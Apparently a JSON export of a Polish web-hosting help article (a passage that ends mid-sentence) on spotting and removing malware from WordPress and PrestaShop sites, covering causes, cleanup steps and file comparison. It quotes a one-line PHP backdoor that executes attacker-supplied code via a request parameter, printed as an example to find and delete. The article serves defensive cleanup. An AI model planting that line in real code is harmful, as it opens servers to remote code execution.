{"id":8341,"date":"2017-11-20T12:25:34","date_gmt":"2017-11-20T11:25:34","guid":{"rendered":"https:\/\/www.lh.pl\/pomoc\/jak-rozpoznac-i-usunac-wirusa-ze-strony-internetowej\/"},"modified":"2022-10-24T10:19:08","modified_gmt":"2022-10-24T08:19:08","slug":"jak-usunac-wirusa-ze-strony-internetowej","status":"publish","type":"post","link":"https:\/\/www.lh.pl\/pomoc\/jak-usunac-wirusa-ze-strony-internetowej\/","title":{"rendered":"Jak rozpozna\u0107 i usun\u0105\u0107 wirusa ze strony internetowej?"},"content":{"rendered":"\n<p><b>Twoja strona nie dzia\u0142a prawid\u0142owo, pojawiaj\u0105 si\u0119 przekierowania do innych stron lub cz\u0119\u015b\u0107 podstron w og\u00f3le si\u0119 nie otwiera. To mog\u0105 by\u0107 oznaki szkodliwego kodu, kt\u00f3ry dosta\u0142 si\u0119 na tw\u00f3j serwer. Zobaczmy, po czym rozpozna\u0107 i jak usun\u0105\u0107 wirusa ze strony internetowej?<\/b><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1280\" height=\"720\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg\" alt=\"\" class=\"wp-image-2284\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie.jpg 1280w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie-300x169.jpg 300w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie-1024x576.jpg 1024w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirusy-na-stronie-768x432.jpg 768w\" sizes=\"(max-width: 1280px) 100vw, 1280px\" \/><\/figure>\n\n\n\n<p><span style=\"font-weight: 400;\">Wirusy mo\u017cemy znale\u017a\u0107 nie tylko na niezabezpieczonych komputerach \u2013 wyst\u0119puj\u0105 one r\u00f3wnie\u017c w innej formie, kt\u00f3ra dotyka naszych stron internetowych. Strony mog\u0105 by\u0107 zainfekowane poprzez umieszczenie w nich z\u0142o\u015bliwego kodu, kt\u00f3ry umo\u017cliwia wykonanie przer\u00f3\u017cnych szkodliwych operacji na naszym serwerze.<\/span><\/p>\n\n\n\n<p><span style=\"font-weight: 400;\">Dzia\u0142anie wirus\u00f3w jest bardzo r\u00f3\u017cne. Niekt\u00f3re powoduj\u0105 przekierowanie u\u017cytkownika na inn\u0105 stron\u0119 (cz\u0119sto o w\u0105tpliwej reputacji), z kolei inne mog\u0105 powodowa\u0107 znacznie wi\u0119ksze straty, siej\u0105c spustoszenie na naszym serwerze. Mog\u0105 trwale kasowa\u0107 pliki odpowiedzialne za pozycj\u0119 w wyszukiwarce Google, a nawet usuwa\u0107 pliki PHP niezb\u0119dne do prawid\u0142owego dzia\u0142ania strony. Przyjrzyjmy si\u0119 po kolei tej problematyce i zobaczmy, sk\u0105d si\u0119 bior\u0105, jak je rozpozna\u0107 i jak usun\u0105\u0107 wirusy ze strony internetowej.<\/span><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Sk\u0105d si\u0119 bior\u0105 wirusy na stronach internetowych?<\/h2>\n\n\n\n<p><span style=\"font-weight: 400;\">Gdy nasza strona pada ofiar\u0105 ataku, to przez my\u015bl przechodz\u0105 nam r\u00f3\u017cne teorie. Wielu osobom wydaje si\u0119, \u017ce atak musia\u0142 zosta\u0107 wykonany r\u0119cznie, wi\u0119c z pewno\u015bci\u0105 kto\u015b si\u0119 na nas \u201euwzi\u0105\u0142\u201d i pr\u00f3buje nam zaszkodzi\u0107. Tak jest bardzo, bardzo rzadko. Takiej sytuacji oczywi\u015bcie nigdy nie mo\u017cna wykluczy\u0107, ale w zatrwa\u017caj\u0105cej wi\u0119kszo\u015bci przypadk\u00f3w rzeczywisto\u015b\u0107 jest mniej sensacyjna.<\/span><\/p>\n\n\n\n<p><b>Najcz\u0119stsz\u0105 przyczyn\u0105 zainfekowania strony s\u0105<\/b> <b>luki w zabezpieczeniach skrypt\u00f3w, z kt\u00f3rych korzystamy<\/b><span style=\"font-weight: 400;\">. Je\u017celi korzystamy ze starych wersji system\u00f3w CMS typu WordPress czy PrestaShop, to mo\u017cemy by\u0107 pewni, \u017ce zosta\u0142y w nich ju\u017c do tej pory odkryte luki w zabezpieczeniach. S\u0105 one cz\u0119sto wykorzystywane przez zautomatyzowane boty do wprowadzenia z\u0142o\u015bliwego kodu na stronach. <\/span><b>Problem wynika z tego, \u017ce nie aktualizujemy na bie\u017c\u0105co system\u00f3w CMS, a tak\u017ce wtyczek, z kt\u00f3rych korzystamy.<\/b><\/p>\n\n\n\n<p><b>Drug\u0105 przyczyn\u0105 jest wyciek danych<\/b><span style=\"font-weight: 400;\">, w wyniku kt\u00f3rego dane do logowania na serwer FTP, do bazy danych lub do panelu administratora mog\u0105 trafi\u0107 w niepowo\u0142ane r\u0119ce. Najcz\u0119stsz\u0105 przyczyn\u0105 jest niezabezpieczony komputer, kt\u00f3rego u\u017cywamy do logowania w panelu administratora lub na serwerze FTP. Has\u0142o zostaje wykradzione bezpo\u015brednio z urz\u0105dzenia (np. przez wirusy typu keylogger) lub jest po prostu \u0142amane ze wzgl\u0119du na niski poziom skomplikowania (np. \u201ehaslo123\u201d). Gdy kto\u015b uzyska dost\u0119p do naszego konta FTP lub konta administratora na stronie, to mo\u017ce zrobi\u0107 wszystko, na co ma ochot\u0119.<\/span><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak dochodzi do atak\u00f3w na stron\u0119 internetow\u0105?<\/h2>\n\n\n\n<p><b>W przypadku wycieku danych sprawa jest do\u015b\u0107 prosta. Dane dost\u0119powe trafiaj\u0105 w niepowo\u0142ane r\u0119ce, wi\u0119c osoby trzecie mog\u0105 zalogowa\u0107 si\u0119 na nasz serwer FTP przy u\u017cyciu naszego konta i wprowadzi\u0107 dowolne zmiany. <\/b><span style=\"font-weight: 400;\">Nie ma tu \u017cadnej wielkiej filozofii \u2013 po zalogowaniu si\u0119 na serwerze FTP wida\u0107 wszystkie pliki, wi\u0119c mo\u017cna je dowolnie zmodyfikowa\u0107, dopisuj\u0105c szkodliwy kod, lub po prostu usun\u0105\u0107. Takie ataki s\u0105 jednak do\u015b\u0107 rzadkie i najcz\u0119\u015bciej dochodzi do infekcji strony poprzez luki w zabezpieczeniach skrypt\u00f3w.<\/span><\/p>\n\n\n\n<p><b>Do infekcji strony przez luki w zabezpieczeniach dochodzi, gdy korzystamy z przestarza\u0142ego oprogramowania na serwerze<\/b><span style=\"font-weight: 400;\"> \u2013 np. u\u017cywamy starej wersji system\u00f3w CMS typu WordPress lub PrestaShop b\u0105d\u017a instalujemy przestarza\u0142e wtyczki do nich. Takie oprogramowanie najcz\u0119\u015bciej ma ju\u017c upublicznione luki w zabezpieczeniach, kt\u00f3re s\u0105 wykorzystywane przez zautomatyzowane boty do wprowadzania z\u0142o\u015bliwego kodu. Z oczywistych wzgl\u0119d\u00f3w najbardziej podatnymi na ataki s\u0105 strony, kt\u00f3re do dzia\u0142ania wykorzystuj\u0105 niezaktualizowane wersje popularnych system\u00f3w CMS, a tak\u017ce przestarza\u0142e wtyczki. <\/span><\/p>\n\n\n\n<p><b>Padamy ofiar\u0105 nie dlatego, \u017ce stanowimy dla kogo\u015b konkurencj\u0119, ale dlatego, \u017ce nie aktualizujemy na bie\u017c\u0105co systemu CMS oraz wykorzystywanych na stronie wtyczek.<\/b><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jakie szkody mog\u0105 wyrz\u0105dzi\u0107 wirusy na stronach internetowych?<\/h2>\n\n\n\n<p><span style=\"font-weight: 400;\">Wirusy maj\u0105 przer\u00f3\u017cne sposoby dzia\u0142ania, ale najcz\u0119\u015bciej po prostu ingeruj\u0105 w prawid\u0142owe dzia\u0142anie strony, co mo\u017ce mie\u0107 katastroficzne skutki.<\/span><b> Twoja strona mo\u017ce nagle zacz\u0105\u0107 przekierowywa\u0107 u\u017cytkownik\u00f3w na inne strony o w\u0105tpliwej jako\u015bci.<\/b><span style=\"font-weight: 400;\"> Nierzadko s\u0105 to strony pornograficzne, przez co skutecznie odstraszaj\u0105 one odwiedzaj\u0105cych.<\/span><b> Wirus mo\u017ce tak\u017ce ca\u0142kowicie usuwa\u0107 pliki z serwera, przez co strona kompletnie przestanie si\u0119 otwiera\u0107 &#8211; r\u00f3wnie\u017c dla administratora.<\/b><\/p>\n\n\n\n<p><span style=\"font-weight: 400;\">Nierzadko wyst\u0119puj\u0105 te\u017c infekcje, kt\u00f3re na cel obieraj\u0105 sobie pliki &#8222;robots.txt&#8221; oraz &#8222;sitemap.xml<\/span><b>&#8222;<\/b><span style=\"font-weight: 400;\">. Ten pierwszy umo\u017cliwia zablokowanie indeksowania strony w wybranych wyszukiwarkach, a usuni\u0119cie tego drugiego <\/span><b>mo\u017ce spowodowa\u0107 obni\u017cenie pozycji w wynikach wyszukiwania<\/b><span style=\"font-weight: 400;\">. S\u0105 to wirusy maj\u0105ce na celu obni\u017cenie naszego SEO, a co za tym idzie zniszczenie naszej pozycji w wyszukiwarkach.<\/span><\/p>\n\n\n\n<p><b>Opisane przyk\u0142ady to tylko najprostsze metody dzia\u0142ania szkodliwego kodu. Wystarczaj\u0105 one jednak do tego, aby zrujnowa\u0107 nasz\u0105 stron\u0119, zniszczy\u0107 jej pozycj\u0119 w wyszukiwarkach internetowych oraz skutecznie odstraszy\u0107 od niej odwiedzaj\u0105cych.<\/b><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak usun\u0105\u0107 wirusa ze strony internetowej? Podstawowe czynno\u015bci<\/h2>\n\n\n\n<p><span style=\"font-weight: 400;\">Zanim przejdziemy do bardziej zaawansowanych czynno\u015bci warto wykona\u0107 te najbardziej podstawowe, kt\u00f3re s\u0105 w stanie pom\u00f3c nam w do\u015b\u0107 prosty spos\u00f3b usun\u0105\u0107 wirusa ze strony.<\/span><b> Pierwszym krokiem powinna by\u0107 zmiana has\u0142a do serwera FTP. <\/b><span style=\"font-weight: 400;\">Wspominali\u015bmy, \u017ce jednym z powod\u00f3w infekcji s\u0105 wycieki danych, przez co kto\u015b m\u00f3g\u0142 uzyska\u0107 dane dost\u0119powe do naszego serwera FTP i narobi\u0107 tam spustoszenia. <\/span><\/p>\n\n\n\n<p><span style=\"font-weight: 400;\">Najprostszym rozwi\u0105zaniem jest zmiana has\u0142a. W LH.pl nale\u017cy w tym celu wej\u015b\u0107 do panelu klienta, a nast\u0119pnie przej\u015b\u0107 do <\/span><b>\u201eSerwery &gt; Konta FTP\u201d. <\/b><span style=\"font-weight: 400;\">Wybierz swoje konto FTP, a nast\u0119pnie wpisz do niego nowe has\u0142o. Warto tak\u017ce zmieni\u0107 has\u0142o do panelu administracyjnego swojej strony.<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full border-shadow\"><img loading=\"lazy\" decoding=\"async\" width=\"496\" height=\"407\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2022\/07\/zmiana-hasla-ftp2.png\" alt=\"\" class=\"wp-image-13255\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2022\/07\/zmiana-hasla-ftp2.png 496w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2022\/07\/zmiana-hasla-ftp2-300x246.png 300w\" sizes=\"(max-width: 496px) 100vw, 496px\" \/><\/figure>\n\n\n\n<p><b>Kolejnym krokiem powinno by\u0107 przywr\u00f3cenie strony z kopii zapasowej, zak\u0142adaj\u0105c, \u017ce nie jest ona zainfekowana.<\/b><\/p>\n\n\n\n<p><span style=\"font-weight: 400;\">W LH.pl klienci maj\u0105 dost\u0119p do kopii zapasowej z ostatnich 30 dni. Kopia uwzgl\u0119dnia zar\u00f3wno wszystkie pliki na serwerze FTP, jak r\u00f3wnie\u017c bazy danych. Szczeg\u00f3\u0142owe instrukcje przywracania kopii zapasowej znajdziesz na stronie swojego us\u0142ugodawcy. Je\u015bli korzystasz z serwera w LH.pl, to zobacz nasze<\/span><a href=\"https:\/\/www.lh.pl\/pomoc\/doc\/jak-polaczyc-sie-z-serwerem-backupowym\/\" target=\"_blank\" rel=\"noreferrer noopener\"> <b>instrukcje przywracania kopii zapasowej z backupu<\/b><\/a><span style=\"font-weight: 400;\">. <\/span><\/p>\n\n\n\n<p><span style=\"font-weight: 400;\">Je\u015bli w por\u0119 zdali\u015bmy sobie spraw\u0119 z tego, \u017ce nasza strona zosta\u0142a zaatakowana przez wirusa, to najprawdopodobniej kopia zapasowa jest czysta i jej przywr\u00f3cenie rozwi\u0105\u017ce problem.<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"528\" height=\"238\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/kopie-zapasowe.png\" alt=\"\" class=\"wp-image-2281\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/kopie-zapasowe.png 528w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/kopie-zapasowe-300x135.png 300w\" sizes=\"(max-width: 528px) 100vw, 528px\" \/><\/figure>\n\n\n\n<p><strong>Nast\u0119pnym krokiem jest zaktualizowanie systemu CMS i u\u017cywanych wtyczek do najnowszej wersji.<\/strong>&nbsp;Mo\u017cesz to zrobi\u0107 z poziomu panelu administracyjnego swojej strony, przechodz\u0105c do zak\u0142adki z aktualizacjami. Zaktualizowanie strony wolnej od infekcji jest w stanie zabezpieczy\u0107 j\u0105 przed ponownym atakiem. Nie zapomnij tak\u017ce zaktualizowa\u0107 wtyczek!<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"965\" height=\"574\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/aktualizuj-wtyczki.png\" alt=\"\" class=\"wp-image-2282\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/aktualizuj-wtyczki.png 965w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/aktualizuj-wtyczki-300x178.png 300w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/aktualizuj-wtyczki-768x457.png 768w\" sizes=\"(max-width: 965px) 100vw, 965px\" \/><\/figure>\n\n\n\n<p><b>Posiadacze WordPressa maj\u0105 do dyspozycji jeszcze jedn\u0105 opcj\u0119 &#8211; przeinstalowanie podstawowych plik\u00f3w systemu CMS. <\/b><span style=\"font-weight: 400;\">Wystarczy w tym celu przej\u015b\u0107 do zak\u0142adki <\/span><b>Aktualizacj<\/b><span style=\"font-weight: 400;\">e, a nast\u0119pnie wybra\u0107 opcj\u0119 <\/span><b>\u201eZainstaluj ponownie\u201d<\/b><span style=\"font-weight: 400;\">. Podstawowe pliki WordPressa zostan\u0105 pobrane ponownie z oficjalnego serwera i przeinstalowane.<\/span><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"628\" height=\"240\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/zainstaluj-ponownie.png\" alt=\"\" class=\"wp-image-2283\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/zainstaluj-ponownie.png 628w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/zainstaluj-ponownie-300x115.png 300w\" sizes=\"(max-width: 628px) 100vw, 628px\" \/><\/figure>\n\n\n\n<p>Nie martw si\u0119, twoja strona si\u0119 nie rozsypie \u2013 \u017cadne twoje ustawienia, motywy, wpisy, strony czy inne elementy nie zostan\u0105 nadpisane. Opcja ta jedynie przeinstalowuje podstawowe pliki WordPressa, kt\u00f3re nigdy nie powinny by\u0107 modyfikowane.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Stw\u00f3rz list\u0119 potencjalnie zainfekowanych plik\u00f3w<\/h2>\n\n\n\n<p><span style=\"font-weight: 400;\">Je\u015bli przywr\u00f3cenie strony z backupu i zaktualizowanie jej do najnowszej wersji nie pomog\u0142o, to pozostaje Ci samodzielne usuni\u0119cie wirus\u00f3w. Infekcje wbrew pozorom nie s\u0105 trudne do namierzenia i wcale nie potrzeba nam wiedzy programistycznej do ich usuni\u0119cia. Wystarczy troch\u0119 cierpliwo\u015bci i samozaparcia. Zw\u0142aszcza, \u017ce wi\u0119kszo\u015b\u0107 z nich wykorzystuje podobne schematy dzia\u0142ania.<\/span><\/p>\n\n\n\n<p><b>Otwieranie ka\u017cdego pliku na serwerze po kolei i szukanie w nim z\u0142o\u015bliwego kodu linijka po linijce by\u0142oby szale\u0144stwem. Trzeba wygenerowa\u0107 sobie list\u0119 plik\u00f3w, kt\u00f3re warto sprawdzi\u0107 pod k\u0105tem infekcji.<\/b><span style=\"font-weight: 400;\"> W LH.pl ka\u017cdy klient ma mo\u017cliwo\u015b\u0107 zwr\u00f3cenia si\u0119 z pro\u015bb\u0105 o przeskanowanie ca\u0142ego serwera. Wyniki tego skanowania s\u0105 udost\u0119pnianie w formie pliku do pobrania. Znajdziesz w nim list\u0119 potencjalnie zainfekowanych plik\u00f3w \u2013 to powinny by\u0107 pierwsze pliki, kt\u00f3re przejrzysz w poszukiwaniu z\u0142o\u015bliwego kodu.<\/span><\/p>\n\n\n\n<p><b>Dodatkowo warto zalogowa\u0107 si\u0119 na serwer FTP, a nast\u0119pnie przejrze\u0107 daty modyfikacji plik\u00f3w.<\/b><\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"567\" height=\"253\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/uszkodzonepliki.png\" alt=\"\" class=\"wp-image-2279\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/uszkodzonepliki.png 567w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/uszkodzonepliki-300x134.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/figure>\n\n\n\n<p>Wi\u0119kszo\u015b\u0107 plik\u00f3w powinna mie\u0107 daty modyfikacji zgodne z dat\u0105 przes\u0142ania strony na serwer lub z dat\u0105 ostatniej aktualizacji systemu CMS.&nbsp;W kliencie FTP typu FileZilla mo\u017cesz posortowa\u0107 pliki i foldery po dacie ostatniej modyfikacji. Je\u015bli widzisz, \u017ce wszystkie twoje pliki maj\u0105 dat\u0119 modyfikacji np. z zesz\u0142ego miesi\u0105ca (ostatnia aktualizacja systemu CMS), ale po\u015br\u00f3d nich jest jeden plik PHP, kt\u00f3rego data modyfikacji jest np. wczorajsza lub dzisiejsza, to warto si\u0119 mu bli\u017cej przyjrze\u0107. Istnieje bowiem du\u017ce prawdopodobie\u0144stwo, \u017ce w tym pliku zosta\u0142 dodany szkodliwy kod.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Wyczy\u015b\u0107 pliki ze szkodliwego kodu i infekcji<\/h2>\n\n\n\n<p>To najtrudniejsza cz\u0119\u015b\u0107 \u2013 masz ju\u017c list\u0119 plik\u00f3w potencjalnie niebezpiecznych i teraz musisz zweryfikowa\u0107, kt\u00f3ra cz\u0119\u015b\u0107 kodu odpowiada za szkody wyrz\u0105dzane na twoim serwerze. Je\u015bli nie znasz si\u0119 na programowaniu, to mo\u017ce by\u0107 Ci ci\u0119\u017cko trafi\u0107 na te wpisy, kt\u00f3rych by\u0107 tu nie powinno. Do edycji i podgl\u0105du plik\u00f3w zalecamy u\u017cycie programu NotePad++.&nbsp;Wy\u015bwietla on nie tylko tre\u015b\u0107 plik\u00f3w wraz z odpowiednim formatowaniem i kolorowaniem kodu, ale pokazuje r\u00f3wnie\u017c ilo\u015b\u0107 linii, co jest przydatne w celu por\u00f3wnywania plik\u00f3w do ich oryginalnych wersji.<\/p>\n\n\n\n<p><strong>Szkodliwy kod najcz\u0119\u015bciej doklejany jest na samym pocz\u0105tku pliku lub na samym jego ko\u0144cu<\/strong>. To znacznie u\u0142atwia namierzenie zainfekowanego kodu, gdy\u017c wiemy, gdzie mniej wi\u0119cej szuka\u0107. Zdecydowanie \u0142atwiej znale\u017a\u0107 co\u015b na ko\u0144cu lub na pocz\u0105tku kodu ni\u017c gdzie\u015b w \u015brodku. Przyk\u0142adem jest wirus atakuj\u0105cy pliki <strong>index.php<\/strong>, znajduj\u0105ce si\u0119 w podfolderach WordPressa.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"649\" height=\"88\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/silenceisgolden.png\" alt=\"\" class=\"wp-image-2276\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/silenceisgolden.png 649w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/silenceisgolden-300x41.png 300w\" sizes=\"(max-width: 649px) 100vw, 649px\" \/><\/figure>\n\n\n\n<p>Wirus atakuj\u0105cy ten plik dokleja na samym ko\u0144cu fragment kodu, kt\u00f3ry wywo\u0142uje bota wykorzystuj\u0105cego luk\u0119 w zabezpieczeniach. Wykorzystuje w tym celu poni\u017cszy kod:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>if(isset($_REQUEST['bot'])) assert(stripslashes($_REQUEST[bot]));<\/strong><\/pre>\n\n\n\n<p>Wida\u0107 to na powy\u017cszym przyk\u0142adzie. Takiego pliku nie nale\u017cy ca\u0142kowicie usuwa\u0107 &#8211; zamiast tego nale\u017cy usun\u0105\u0107 z niego szkodliwy fragment, pozostawiaj\u0105c tylko oryginalne linie. Oczywi\u015bcie kod wy\u015bwietlony powy\u017cej to tylko jeden z przyk\u0142adowych atak\u00f3w &#8211; nie nale\u017cy si\u0119 spodziewa\u0107, \u017ce u siebie znajdziemy co\u015b dok\u0142adnie takiego samego.<\/p>\n\n\n\n<p><strong>Je\u017celi twoja strona wykorzystuje system CMS, a infekcji szukasz w rdzennych plikach odpowiedzialnych za dzia\u0142anie strony, to warto to robi\u0107 przy jednoczesnym por\u00f3wnaniu ich do oryginalnych plik\u00f3w z czystej wersji.&nbsp;<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Nie wiesz, czego szuka\u0107 w kodzie? Por\u00f3wnaj pliki z orygina\u0142ami<\/h2>\n\n\n\n<p>Wejd\u017a na stron\u0119 swojego systemu CMS i pobierz t\u0119 sam\u0105 wersj\u0119 np. WordPressa lub PrestaShop, z kt\u00f3rej korzystasz, a nast\u0119pnie rozpakuj j\u0105 na sw\u00f3j dysk twardy i trzymaj w gotowo\u015bci. Je\u015bli skanowanie wykaza\u0142o list\u0119 zainfekowanych plik\u00f3w, to sprawd\u017a, czy wyst\u0119puj\u0105 one te\u017c oryginalnie. Je\u015bli tak, to otw\u00f3rz oba pliki obok siebie, a nast\u0119pnie je por\u00f3wnaj. <strong>Metoda por\u00f3wnywania plik\u00f3w umo\u017cliwia namierzenie niechcianego kodu bez znajomo\u015bci programowania.<\/strong><\/p>\n\n\n\n<p>Sprawd\u017a pocz\u0105tek i koniec pliku w poszukiwaniu jakichkolwiek r\u00f3\u017cnic. Sprawd\u017a te\u017c ca\u0142kowit\u0105 ilo\u015b\u0107 linii w pliku. Je\u015bli oryginalnie plik ma 500 linii kodu, a tw\u00f3j plik ma ich ponad 800, to znaczy, \u017ce co\u015b do tego pliku zosta\u0142o w kt\u00f3rym\u015b miejscu dopisane. Oczywi\u015bcie niekt\u00f3re motywy i wtyczki potrafi\u0105 modyfikowa\u0107 niekt\u00f3re pliki, ale w wi\u0119kszo\u015bci przypadk\u00f3w rdzenne pliki WordPressa powinny pozosta\u0107 bez zmian. To samo si\u0119 tyczy PrestaShop oraz innych system\u00f3w CMS.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"1443\" height=\"904\" src=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirus-692.png\" alt=\"\" class=\"wp-image-2273\" srcset=\"https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirus-692.png 1443w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirus-692-300x188.png 300w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirus-692-1024x642.png 1024w, https:\/\/www.lh.pl\/pomoc\/wp-content\/uploads\/2017\/11\/wirus-692-768x481.png 768w\" sizes=\"(max-width: 1443px) 100vw, 1443px\" \/><\/figure>\n\n\n\n<p><strong>Przyk\u0142ad wida\u0107 powy\u017cej na podstawie pliku<\/strong> <strong>&#8222;\/wp-includes\/template.php&#8221; z WordPressa<\/strong>. Oryginalny plik w niezainfekowanym WordPressie ko\u0144czy si\u0119 na linii <strong>692<\/strong>.&nbsp; Zainfekowana wersja posiada ich a\u017c <strong>736<\/strong>. Por\u00f3wnuj\u0105c oryginalny plik ze zmodyfikowanym mo\u017cemy jasno stwierdzi\u0107, \u017ce ca\u0142y fragment kodu od linii 693 zosta\u0142 przez co\u015b dopisany. W tym wypadku jest to akurat infekcja, kt\u00f3r\u0105 nale\u017cy po prostu z tego pliku usun\u0105\u0107. Je\u015bli nie jeste\u015b pewien co do tego, czy co\u015b mo\u017cna usun\u0105\u0107, to zawsze mo\u017cesz u\u017cy\u0107 wyszukiwarki Google, wklejaj\u0105c fragment kodu lub nazw\u0119 zainfekowanego pliku z dopiskiem &#8222;malware&#8221; \u2013 bardzo cz\u0119sto w ten spos\u00f3b mo\u017cna znale\u017a\u0107 strony, pokazuj\u0105ce, jak krok po kroku usun\u0105\u0107 konkretnego wirusa.<\/p>\n\n\n\n<p>Je\u015bli por\u00f3wnywanie plik\u00f3w nie pomaga, to musisz szkodliwych fragment\u00f3w szuka\u0107 w inny spos\u00f3b. Poni\u017cej znajdziesz przyk\u0142ady, pokazuj\u0105ce, w jaki spos\u00f3b infekcje staraj\u0105 si\u0119 ukry\u0107 po\u015br\u00f3d normalnych plik\u00f3w.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Przyk\u0142ady szkodliwego kodu i zainfekowanych plik\u00f3w PHP<\/h2>\n\n\n\n<p>Szkodliwy kod mo\u017ce by\u0107 napisany i ukryty w przer\u00f3\u017cny spos\u00f3b. Poni\u017cej przedstawiamy kilka popularnych technik, wykorzystywanych podczas atak\u00f3w. Je\u015bli znajdziemy co\u015b podobnego u siebie, to powinni\u015bmy to dok\u0142adnie przeanalizowa\u0107 i ewentualnie usun\u0105\u0107.<\/p>\n\n\n\n<ul><li><strong>Tworzenie nowych plik\u00f3w PHP o podejrzanych nazwach<\/strong><\/li><\/ul>\n\n\n\n<p>Bardzo cz\u0119sto wirusy tworz\u0105 zupe\u0142nie nowe pliki, w kt\u00f3rych przechowywany jest z\u0142o\u015bliwy kod. Pliki te cz\u0119sto maj\u0105 nazwy niemaj\u0105ce wi\u0119kszego sensu \u2013 s\u0105 to losowe ci\u0105gu znak\u00f3w, np.:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>glrmcv.php<\/strong><\/pre>\n\n\n\n<p>Je\u015bli widzisz taki plik, to zapisz sobie jego nazw\u0119, aby sprawdzi\u0107, co si\u0119 w nim znajduje. Mo\u017cesz tak\u017ce wyszuka\u0107 informacji o nim w wyszukiwarce Google, a je\u015bli korzystasz z systemu CMS typu WordPress, Joomla czy PrestaShop, to mo\u017cesz \u015bci\u0105gn\u0105\u0107 czyst\u0105 wersj\u0119 tego skryptu i sprawdzi\u0107, czy ten plik znajduje si\u0119 w tym miejscu oryginalnie. Bardzo cz\u0119sto jest to plik z wirusem, kt\u00f3rego trzeba usun\u0105\u0107.<\/p>\n\n\n\n<p>Innym przyk\u0142adem s\u0105 pliki o nazwach bardzo podobnych do tych, kt\u00f3re ju\u017c si\u0119 znajduj\u0105 w danym systemie CMS. Mo\u017cna zatem natrafi\u0107 pliki o takich nazwach, jak:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>admin.php, config.php, menu.php, edit.php, images.php<\/strong><\/pre>\n\n\n\n<p>Pliki te sprawiaj\u0105 wra\u017cenie \u201ewa\u017cnych\u201d i tworzone s\u0105 w folderach, w kt\u00f3rych normalnie znajduj\u0105 si\u0119 oryginalne pliki o zbli\u017conych nazwach. Bardzo cz\u0119sto s\u0105 to fa\u0142szywki, r\u00f3\u017cni\u0105ce si\u0119 tylko jedn\u0105 literk\u0105 (np. images.php zamiast image.php). Tu r\u00f3wnie\u017c sprawdza si\u0119 wcze\u015bniej opisana metoda por\u00f3wnywania \u2013 \u015bci\u0105gnij czyst\u0105 wersj\u0119 systemu CMS, wypakuj j\u0105 w dowolne miejsce, a nast\u0119pnie por\u00f3wnaj nazwy plik\u00f3w. Je\u015bli oryginalnie tego pliku nie ma, to jest prawdopodobie\u0144stwo, \u017ce nie powinno go tu by\u0107 wcale.<\/p>\n\n\n\n<ul><li><strong>Nieczytelny, \u015bmieciowy fragment kodu, kt\u00f3ry po prostu \u201enie pasuje\u201d do reszty<\/strong><\/li><\/ul>\n\n\n\n<p>Nawet je\u015bli nie jeste\u015bmy programistami, to mo\u017cemy zauwa\u017cy\u0107, \u017ce jaki\u015b fragment kodu wygl\u0105da zupe\u0142nie inaczej ni\u017c reszta. Profesjonalni programi\u015bci staraj\u0105 si\u0119, 